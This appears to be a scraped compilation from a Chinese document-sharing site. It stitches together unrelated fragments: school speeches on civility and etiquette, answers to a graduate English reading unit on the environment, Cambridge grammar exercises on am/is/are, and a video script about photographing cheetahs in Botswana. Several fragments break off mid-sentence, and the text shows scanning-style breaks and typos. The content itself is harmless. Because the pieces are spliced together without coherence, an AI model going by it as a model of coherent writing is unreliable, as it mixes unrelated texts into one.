2020年关于文明礼仪演讲稿6篇Speech on civilization and etiquette in 2020 编订:JinTai College

2020年关于文明礼仪演讲稿6篇 小泰温馨提示:演讲稿是在较为隆重的仪式上和某些公众场合发表的讲话文稿。演讲稿是进行演讲的依据,对演讲内容和形式的规范和提示,体现着演讲的目的和手段,用来交流思想、感情,表达主张、见解;也可以用来介绍自己的学习、工作情况和经验等等;同时具有宣传、鼓动、教育和欣赏等作用,可以把演讲者的观点、主张与思想感情传达给听众以及读者,使他们信服并在思想感情上产生共鸣。本文档根据演讲稿内容要求展开说明,具有实践指导意义,便于学习和使用,本文下载后内容可随意修改调整及打印。 本文简要目录如下:【下载该文档后使用Word打开,按住键盘Ctrl键且鼠标单击目录内容即可跳转到对应篇章】 1、篇章1:20xx年关于文明礼仪演讲稿 2、篇章2:20xx年关于文明礼仪演讲稿 3、篇章3:20xx年关于文明礼仪演讲稿 4、篇章4:关于文明礼仪演讲稿 5、篇章5:关于文明礼仪演讲稿 6、篇章6:关于文明礼仪演讲稿

中华民族历来以礼仪之邦著称于世,她五千年悠久的历史,不但创造了灿烂的文化,而且也形成了讲文明、懂礼仪的传统美德。下面是小泰为大家整理了20xx年关于文明礼仪演 讲稿3篇,希望能够帮到你。 篇章1:20xx年关于文明礼仪演讲稿 “讲文明、懂礼貌,讲卫生、重礼仪。”这是做人的最 重要的要求,作为小学生的我们更要注重良好行为习惯的养成。 首先,无论任何场合都应该使用文明礼貌用语,严禁说 脏话、忌语,说话时语言应该清晰、明了,预期诚恳、语速适中、语调平和,语意明确言简,提倡使用普通话,不要随意打断别人谈话,认真聆听别人的说话。 然后,我们无论是对长辈、朋友或同学,都应该有礼貌,见了长者要问好,见了朋友、同学要主动打招呼,要养成尊老爱幼的良好习惯。 最后,还要注意卫生习惯的养成,清洁卫生是仪容美的 关键,不管长相有多好,衣着有多华贵,若满脸污垢,浑身臭味,那必然破坏一个人的形象。因此,每个人应该养成良好的卫生习惯,做到勤洗漱、饭前便后要洗手、勤换衣服、勤洗

研究生英语阅读Unit1课后答案

Unit 1 Environment Learning Objectives At the end of the unit, students will be able to: 1.have some general knowledge about the environment; 2.know about various kind of environmental problems; 3.talk about the causes, effects, and measures people should take about the environmental problems; 4. master the key words and expressions concerning the environment. Part I Warm-up Activities A Directions:The following are some of the organizations devoted to the environmental protection. Match them with the corresponding Chinese translations. A. 联合国人类居住中心 B. 绿色和平组织 C. 国际环境情报网 D. 联合国环境规划署 E. 绿党 F. 联合国环境与发展大会 G. 国际自然和自然资源保护协会 1. United Nations Environment Program (UNEP) D 联合国环境规划署 2. International Environment Information System C 国际环境情报网 3. Green Peace Organization B 绿色和平组织 4. Green Party E 绿党 5. International Union for Conservation of Nature and Natural Resources (IUCN) G 国际自然和自然资源保护协会 6. United Nations Conference on Environment and Development (UNCED) F 联合国环境与发展大会 7. United Nations Center for Human Settlements (UNCHS) A 联合国人类居住中心 B Directions:Below are three pictures conveying the environmental problems. Join a partner, talk about what specific environmental problems they are. Then discuss about their causes, effects and the measures people have to take to deal with these problems.

剑桥初级英语语法Unit1amis are

Good is good , but better carries it ! ---------- (精益求精)剑桥初级英语语法-Exercise Unit1- am/is are 1.1 写出缩略形式 1 she is ______ 2.it is not __________3.I am not________ 4.they are________ 5.that is _______ 2.2 填入am,is ,are 1.The weather____nice today. 2.Look! There________Carol 3.I______not tired. 4.My brother and I ______good tennis players. 5.This bag _____heavy 6.Ann _____at home.Her children _____at school. 7.These bags ____heavy 8. I_____a taxi driver. My sister _____a nurse. 1.3 写出完整的句子。要求用上is,isn’t,are, aren’t . 1.(your shoes very dirty) ______________________________________ 2.(my brother a teacher)_______________________________________ 3.(this house nor very big)_____________________________________ 4.(the shops not open today)_______________________________________ 5.(my keys in my bag)____________________________________________ 6.(Jenny 18 years old)_____________________________________________ 7.(you not very tall)_______________________________________________ 1.4 参看Lisa 所用的句子。现在写写你自己的情况。 1.(name?)My_______________________ 2.(favourite color or colors)____________________ 3.(from?)I_________________________ 4.(interested in...?)____________________________ 5.(age?)___________________________ 6.(job?)_____________________________ 1.5写出真是情况,肯定句或否定句都可以。要求用上am,am not, is,isn’t,are,aren’t 1.(I/hungry)I__________________________2.(it/warm/today)It___________________________ 3.(I,afraid of dogs)_______________________4(my hands/cold)__________________________ 5.(Canada/a very big country)______________________________ 6.(diamonds/cheap)__________________________ 7.(I/interested in football)_______________

礼仪演讲稿4篇

三一文库(https://www.wendangku.net/doc/a77314959.html,)/演讲稿/文明礼仪演讲稿 礼仪演讲稿4篇 *目录 .礼仪演讲稿 .文明礼仪的演讲稿400 .机关文明礼仪演讲稿 .领导演讲稿:遵守课间礼仪,做文明学生 各位老师,各位同学大家好: 今天,我演讲的题目是《我与礼仪有个约会》。曾经有人说过:"生活里最重要的是有礼貌,它比最高的智慧,比一切学识都重要。" 礼仪无处不在,它可以表现出一个人的道德修养,它可以增进人与人之间的友谊,它的作用太多太多了。在金秋的十月,硕果累累的季节里,怎样使中学生礼仪洋溢在美丽的校园里呢我们中学生要着装得体,符合学生的身份,体现出新世纪学生蓬勃向上的风采。因为仪表仪容,仪态可以让一个人一看便知道你的修养。

升旗仪式最为庄严,这凝聚了文明与热血的国旗,在利益包围中显得更鲜艳,此时此刻,国旗下的我们要严肃认真,精神饱满,不负于"礼仪之邦"这个美誉。 课堂礼仪对老师的教学影响很大,它直接关系着一个班的荣誉与凝聚力,体现出这个班的班风班貌。校园礼仪就更重要了,下课后的时间,不随地吐痰,不乱扔垃圾,不拿粉笔乱扔,上下楼梯一律靠右行,见到老师和同学主动用普通话问好。 我们还应该爱护花草树木和一切公共设施,不穿越绿化带,爱护清洁卫生,服从老师的管理和接受值周同学的批评劝阻,受到老师帮助时,应主动诚恳地说"谢谢"。同学之间也离不开礼仪,他就像润滑剂,是粗糙的摩擦消迹,如果有矛盾,多进行自我反省,互相理解,平等待人,培养较强的协作精神,这样才能使班级更团结,同学间的友谊更加深厚。 不知大家听过这样一个故事没有:有一位对生活,对未来失去信心的人,想在本市最好的公交车上结束自己的生命,他便带上炸药来到了车上,他上车后,便有一位小姑娘给他让座,因为他的腿上有伤,这位小姑娘不仅让了座,还送给他一些治疗的药品,最终让这个小伙子放弃了死念头。 同学们,你相信一个简单的动作,一个微不足道的文明动作,会挽救人的生命吗事实上证明,你不得不相信。

【精华】文明礼仪演讲稿锦集10篇

【精华】文明礼仪演讲稿锦集10篇 文明礼仪演讲稿锦集10篇 演讲稿可以按照用途、性质等来划分,是演讲上一个重要的准备工作。在我们平凡的日常里,演讲稿对我们的作用越来越大,你写演讲稿时总是没有新意?下面是小编精心整理的文明礼仪演讲稿10篇,仅供参考,大家一起来看看吧。 文明礼仪演讲稿篇1 尊敬的领导们,亲爱的同学们: 大家好! 最近,咱们学校开展了“文明礼仪之星评选活动”,我光荣地成为了代表六年十一班的“文明礼仪之星”,作为一名能够代表班级的同学,我自然是十分清楚平时班里同学的文明素质,今天我提出的意见与建议,是针对同学们平时的一些文明与不文明的现象的,希望同学们遇到缺点有则改之,无则加勉。当然,如果是优点的话,要继续发扬光大! 首先是同学们这方面的优点,不能说少,例如每当老师走进班级都会整齐的向老师问好,平时上课时大多数同学都能认真听讲,尊重老师与同学们,间餐时没有人随地乱走动,午餐进餐时很安静等等,这都是我们大家文明礼仪方面的优点,最能体现我们文明礼仪成绩的则是门外面挂着的学校颁发的“出入有序”的奖章,这是我们六年十一班同学用平时良好的课间队纪律得来的。我在咱们班担任体委,可以说这里有一小部分是我的功劳,而更多的是同学们自己的自律性,大

家每次课间打铃时都能按时站队,在队伍中可以做到不打闹、不讲话、不拍球等,这都是同学们文明素养的表现。 还有一点,同学们进餐时纪律维持的比较好,每个人一份,不乱赠送,不浪费,吃完后剩下的酸奶盒、香肠皮都有伙食委员会统一收起,没有人随便乱下地,然而,只是偶尔有某些同学扔垃圾扔的不及时,将他们堆积在书桌堂里,实属不应该,不过这终究是少数,多数同学都具有遵守班级纪律的意识。 然而,金无足赤,人无完人,咱们终究有一些做得不够周到的,例如平时上课也有一些似听非听的,下课也有在走廊逗留的,早自习也有不遵守纪律的等等。虽然这些不遵守纪律的人只占十一班同学的少数,但是这就影响了同学们平时的正常学习生活,比较严重的就是早自习这短时间,只有一部分人再读课文,还有一部分只是在当一个看客,另一部分是已经深深地“沉浸”在与同学们聊天的“乐趣”中,还有极少数同学,自从放下书包开始,就开始“唾沫横飞”、“神采奕奕”地“谈天说地”,什么三教九流,奇闻趣事,那真是无所不知,无所不谈!在早自习看不到同学们读课文,听不见从教室里传出的琅琅书声,实属十一班的一大遗憾,希望同学们每个人都能够从我做起,从自身做起,我们都要扬长避短,发扬优点,改正缺点,让每一位同学都可以达到“文明礼仪之星”的标准! 我的讲话到此结束,谢谢大家! 文明礼仪演讲稿篇2 尊敬的各位领导、老师们,亲爱的同学们: 大家早上好!今天我演讲的题目是《明礼仪塑人格》。 明礼诚信是个人立身处世的标准,是法律的基础。明礼,即懂得礼仪,也就是讲文明礼貌。礼仪,是一个国家和民族为了维系社会生产方式和社会生活而约定

视听阅读2 Unit1-scripts

Unit One Video Scripts Narrator: The cheetah. With an astonishing ability to sprint from zero to eighty kilometers per hour in just three seconds, it’s the fastest animal on land. At full speed, it can reach almost 100 kilometers per hour. Nothing can escape a cheetah at full sprint. Unfortunately, this beautiful, shy animal is in serious danger of becoming extinct. In order to help, National Geographic is sending a team into the Moremi Wildlife Reserve of Botswana. Their goal is to help save these magnificent creatures by capturing them on film. The city of Johannesburg, South Africa, is the final stop before the team’s journey into the wilds of Africa. Heading the expedition is Chris Johns, a photographer for more than 25 years. Chris has been planning this trip for a long time, and accompanying him is guide Dave Hamman. Dave has lived in southern Africa most of his life and knows the region well. His knowledge will be useful as the two men head more than 800 kilometers north into Botswana and the wonderful Okavango Delta. The Moremi Reserve is a truly magical place. It seems that Africa’s entire animal kingdom resides in the region. Zebras, buffaloes, and elephants are easily viewed from the rough dirt road. Even a giraffe makes an appearance. Chris and Dave continue their drive into the evening. They need to be far into the wilderness to begin their task: finding cheetahs. Narrator: The next day, they’re up early to begin their search. Chris Johns, National Geographic Photographer: “You can’t just drive out there and order up a cheetah. It doesn’t happen like that. You know that it could take days, weeks.”Narrator: But then something incredibly unexpected occurs . . . Dave Hamman: “I don’t believe this.” Narrator: It’s a female and five of her young. Hamman: “This is just not normal.” Narrator: During all of his years in the bush, Dave has never located so many cheetahs this quickly. This is exactly what they had been hoping for. The discovery is especially promising for Chris. Johns: “Cheetahs are a metaphor for some of Africa’s conservation problems. Because cheetahs need range, and they’re a good way to explain to people that loss of habitat means the potential loss of species. And it’s possible that in my lifetime cheetahs could become extinct in the wild, and that’s — to me —a tragedy that’s unspeakable.” Narrator: The Moremi Wildlife Reserve has offered Chris one of the last windows into the natural world of the cheetah. It will take a while for the cheetahs to trust Chris, but if he succeeds, he k nows he’ll be able to take the photographs he really wants: a shot of a cheetah pursuing and killing its prey, or a “kill sequence.” Johns: “We know there are certain things that a cheetah story has to have. One of the most important things it has to have—which is an incredibly difficult thing to get—is a kill sequence, and you’re always looking for that picture.” Narrator: Cheetahs are capable of tremendous bursts of speed, and have the capacity to gain speed

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